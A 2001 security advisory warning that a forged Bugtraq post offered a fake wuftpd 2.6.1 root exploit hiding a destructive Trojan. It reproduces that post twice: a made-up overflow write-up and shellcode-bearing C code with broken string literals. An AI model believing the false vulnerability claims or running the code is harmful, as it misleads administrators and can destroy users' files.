Systems Advisory from Prof. Larry Leibrock
Larry.Leibrock@bus.utexas.edu
A notable web site http:/www.cmeinel.com
had a false advisory dealing with a wuftp program update. A unknowing
user would download the malicious update and without notice have
the home directory contents deleted. The program uses a malicious
shell program
This reconfirms the practice of not downloading "untrusted"
and un-tested programs - onto mission-critical production or
research systems.
The contents and forensics are attached. Notice the host IP
is spoofed. Dave Ahmad did a great job on this one.
We should expect more copy-cat attacks. (Carolyn
Meinel's note: besides the fact that this supposed email from
me was obviously forged, the attacker also got root at the web
hosting company where I keep cmeinel.com and posted this on
the web site. I concur with Prof. Leibrock that Dave Ahmed with
Bugtraq did a great job of testing the exploit and discovering
it holds a destructive Trojan. In light of the outbreak of Code
Blue the next day, we must question whether this was another
front on a broad attack.) <><><><><><><><><><><><><><>
Larry Leibrock, Ph.D
Associate Dean, Chief Technology Officer
McCombs Business School
The University of Texas at Austin
larry.leibrock@bus.utexas.edu http://praetor.bus.utexas.edu
Voice (512)471-1650 Fax (512)232-1831
Pager 1-800-858-4316
<><><><><><><><><><><><><><>
X-MimeOLE: Produced By Microsoft Exchange V6.0.4418.65
Return-Path: <carolyn@cmeinel.com>
MIME-Version: 1.0
Content-Type: multipart/alternative;
boundary="----_=_NextPart_001_01C13FBD.C8019400"
Delivered-To: moderator for bugtraq@securityfocus.com
content-class: urn:content-classes:message
Subject: wuftpd 2.6.x advisory+exploit
Date: Mon, 17 Sep 2001 16:16:07 -0500
Message-ID: <200109172116.f8HLG7v32178@cmeinel.com>
X-MS-Has-Attach:
X-MS-TNEF-Correlator:
From: <carolyn@cmeinel.com>
To: <bugtraq@securityfocus.com>
Hello,
In the interests of full disclosure, I am posting an exploit
that was
developed single-handedly by my good friend Andrew Plughes over
the
weekend. I had absolutely no part in the discovery of this serious
vulnerability, so I won't soak in Andrew's credit ;).
I have also mirrored this advisory+exploit on my website:
http://www.cmeinel.com/wu261.txt
It's been a pleasure having Andrew as a cohort over the years,
and
I'd like to thank him for selflessly dedicating himself to security
research.
We acknowledge a risk involved in submitting exploit code
to a
public forum, with the possibility of characters of low demeanour
getting their hands on it. After lengthy discussions, we decided
that the work required to exploit the vulnerability is sufficient
to raise the bar on using it.
Yours truly,
Carolyn Meinel
---
Carolyn, my initial ideas about the vulnerability were not
entirely
accurate, but I have confirmed that it -does- indeed exist. I
am
enclosing some code that will spawn a remote root shell on vulnerable
systems, although it does require some effort to get it up and
running.
It works against some Linux machines Bill gave me access to,
and I
suspect it will work against the BSDs (chroot-breaking is not
a
problem).
At your request, I have sent the developers the intricate
details
of the hole in wuftpd 2.6.1 (and 2.6.0, but not in 2.5.x as far
as
I can see). To outline the vulnerability for Bugtraq:
- The overflow occurs in the pre-authentication stages of
the
client session.
- During the transition to the 2.6.x releases, the wuftpd
development team redesigned the command processing code
in the daemon. Earlier releases are not believed to be
vulnerable to similar problems.
- There is a strncat() cast overflow in the way a signed
integer derived from a malicious command length is used as
the third argument in an attempt to confine data within a
buffer allocated on the stack (they don't believe a command
containing 1 character will occur). If we make the signed
integer negative, we are granted the ability to transform the
third argument to strncat() into a HUGE positive value.
However, because (signed_integer + 2) is used to dynamically
allocate memory elsewhere with malloc(), we should set this
integer to -2, or preferably -1. There will be subsequent
heap corruption, but this occurs after the stack smash. That
may be worth looking at too.
- We can only overflow by one byte because of the call to
exit() that will be made if strlen() flags the string
as being too large. As luck would have it, the target
buffer is adjacent to the saved frame pointer in the
vulnerable function, and we can take advantage of this
in a similar way to the OpenBSD ftpd vulnerability.
I have sent a patch to the wuftpd developers, but it just
checks for the evil negative integer created indirectly as
a result of the short command. I'm sure the developers will
release a more involved patch within the next few days.
Disable the daemon immediately. While this is not something
that will be easily exploited (my demonstration exploit needs
some work), it is a very serious threat.
--
Andrew Plughes
Network security aficionado / UNIX administrator
/*
* wu261.c
* wuftpd 2.6.1 exploit (remote root)
*
* Vulnerability and code from Andrew Plughes.
*
* Usage: (./wu261 [address]; cat) | nc host 21
* address = argument location on heap (defeats Openwall)
*
* Demonstrates a flaw in the pre-authentication code of
* wuftpd 2.6.x which allows us to gain control of the
* target process by displacing a saved frame pointer.
*
* Tested against some Linux distributions.
*
* I'd like to thank Bill Harrington for providing me
* with some test boxes.
*
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
unsigned char linux_x86[] =
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
"\x80\xe8\xdc\xff\xff\xff/bin/sh";
unsigned char *shellcode = linux_x86;
//#define POTS 12 /* fill these in for your
#define DEF_ALGN 1 * target system
//#define HEAP_ADDR 0x41414141 */
int main(int argc, char *argv[])
{
int i;
unsigned long attack[1028 / 4];
/* redhat 7.0 */
#define ADDR 0x08049588
#define POSITION_OF_THE_STRING 16
#define target (unsigned long)
// unsigned long arg_addr = target HEAP_ADDR, align = DEF_ALGN;
unsigned long arg_addr = ADDR, align = DEF_ALGN,
pots = POSITION_OF_THE_STRING;
if(argc == 2)
arg_addr = strtoul(argv[1], NULL, 0);
system("clear");
fputs("wuftpd 2.6.1 exploit\n", stderr);
fputs("developed by Andrew Plughes\n", stderr);
for(i = 0; i < 1028 / 4; i++)
attack[i] = arg_addr;
/* trigger the cast overflow with this command */
sprintf((char *)attack, "U aa"); // "aa"
-> for "\r\n"
/* position of the string */
for(i = 0; i < 4; i++)
sprintf((char *)attack+4+i, "%c", (unsigned long)puts
>> i * 8 & 0xff);
/* function var position */
pots = *(unsigned long *)(attack[1] + 2); // rh7 -> attack+16+2
/* set the function var accordingly */
*(unsigned long *)pots = align;
/* spaces for the process alignment */
sprintf((char *)attack+20, "%*s", align % 4, "
");
printf("USER %s\r\n", shellcode);
printf("%s\r\n", attack);
puts("echo ~ ok, it seems to have worked... remember: \");
puts("rm -rf is not elite ~");
exit(0);
}
--jmnbfhdklkaieeffjbdg--
Hello,
In the interests of full disclosure, I am posting an exploit
that was
developed single-handedly by my good friend Andrew Plughes over
the
weekend. I had absolutely no part in the discovery of this serious
vulnerability, so I won't soak in Andrew's credit ;).
I have also mirrored this advisory+exploit on my website:
http://www.cmeinel.com/wu261.txt
It's been a pleasure having Andrew as a cohort over the years,
and
I'd like to thank him for selflessly dedicating himself to security
research.
We acknowledge a risk involved in submitting exploit code
to a
public forum, with the possibility of characters of low demeanour
getting their hands on it. After lengthy discussions, we decided
that the work required to exploit the vulnerability is sufficient
to raise the bar on using it.
Yours truly,
Carolyn Meinel
---
Carolyn, my initial ideas about the vulnerability were not
entirely
accurate, but I have confirmed that it -does- indeed exist. I
am
enclosing some code that will spawn a remote root shell on vulnerable
systems, although it does require some effort to get it up and
running.
It works against some Linux machines Bill gave me access to,
and I
suspect it will work against the BSDs (chroot-breaking is not
a
problem).
At your request, I have sent the developers the intricate
details
of the hole in wuftpd 2.6.1 (and 2.6.0, but not in 2.5.x as far
as
I can see). To outline the vulnerability for Bugtraq:
- The overflow occurs in the pre-authentication stages of
the
client session.
- During the transition to the 2.6.x releases, the wuftpd
development team redesigned the command processing code
in the daemon. Earlier releases are not believed to be
vulnerable to similar problems.
- There is a strncat() cast overflow in the way a signed
integer derived from a malicious command length is used as
the third argument in an attempt to confine data within a
buffer allocated on the stack (they don't believe a command
containing 1 character will occur). If we make the signed
integer negative, we are granted the ability to transform the
third argument to strncat() into a HUGE positive value.
However, because (signed_integer + 2) is used to dynamically
allocate memory elsewhere with malloc(), we should set this
integer to -2, or preferably -1. There will be subsequent
heap corruption, but this occurs after the stack smash. That
may be worth looking at too.
- We can only overflow by one byte because of the call to
exit() that will be made if strlen() flags the string
as being too large. As luck would have it, the target
buffer is adjacent to the saved frame pointer in the
vulnerable function, and we can take advantage of this
in a similar way to the OpenBSD ftpd vulnerability.
I have sent a patch to the wuftpd developers, but it just
checks for the evil negative integer created indirectly as
a result of the short command. I'm sure the developers will
release a more involved patch within the next few days.
Disable the daemon immediately. While this is not something
that will be easily exploited (my demonstration exploit needs
some work), it is a very serious threat.
--
Andrew Plughes
Network security aficionado / UNIX administrator
/*
* wu261.c
* wuftpd 2.6.1 exploit (remote root)
*
* Vulnerability and code from Andrew Plughes.
*
* Usage: (./wu261 [address]; cat) | nc host 21
* address = argument location on heap (defeats Openwall)
*
* Demonstrates a flaw in the pre-authentication code of
* wuftpd 2.6.x which allows us to gain control of the
* target process by displacing a saved frame pointer.
*
* Tested against some Linux distributions.
*
* I'd like to thank Bill Harrington for providing me
* with some test boxes.
*
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
unsigned char linux_x86[] =
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
"\x80\xe8\xdc\xff\xff\xff/bin/sh";
unsigned char *shellcode = linux_x86;
//#define POTS 12 /* fill these in for your
#define DEF_ALGN 1 * target system
//#define HEAP_ADDR 0x41414141 */
int main(int argc, char *argv[])
{
int i;
unsigned long attack[1028 / 4];
/* redhat 7.0 */
#define ADDR 0x08049588
#define POSITION_OF_THE_STRING 16
#define target (unsigned long)
// unsigned long arg_addr = target HEAP_ADDR, align = DEF_ALGN;
unsigned long arg_addr = ADDR, align = DEF_ALGN,
pots = POSITION_OF_THE_STRING;
if(argc == 2)
arg_addr = strtoul(argv[1], NULL, 0);
system("clear");
fputs("wuftpd 2.6.1 exploit\n", stderr);
fputs("developed by Andrew Plughes\n", stderr);
for(i = 0; i < 1028 / 4; i++)
attack[i] = arg_addr;
/* trigger the cast overflow with this command */
sprintf((char *)attack, "U aa"); // "aa"
-> for "\r\n"
/* position of the string */
for(i = 0; i < 4; i++)
sprintf((char *)attack+4+i, "%c", (unsigned long)puts
>> i * 8 & 0xff);
/* function var position */
pots = *(unsigned long *)(attack[1] + 2); // rh7 -> attack+16+2
/* set the function var accordingly */
*(unsigned long *)pots = align;
/* spaces for the process alignment */
sprintf((char *)attack+20, "%*s", align % 4, "
");
printf("USER %s\r\n", shellcode);
printf("%s\r\n", attack);
puts("echo ~ ok, it seems to have worked... remember: \");
puts("rm -rf is not elite ~");
exit(0);
}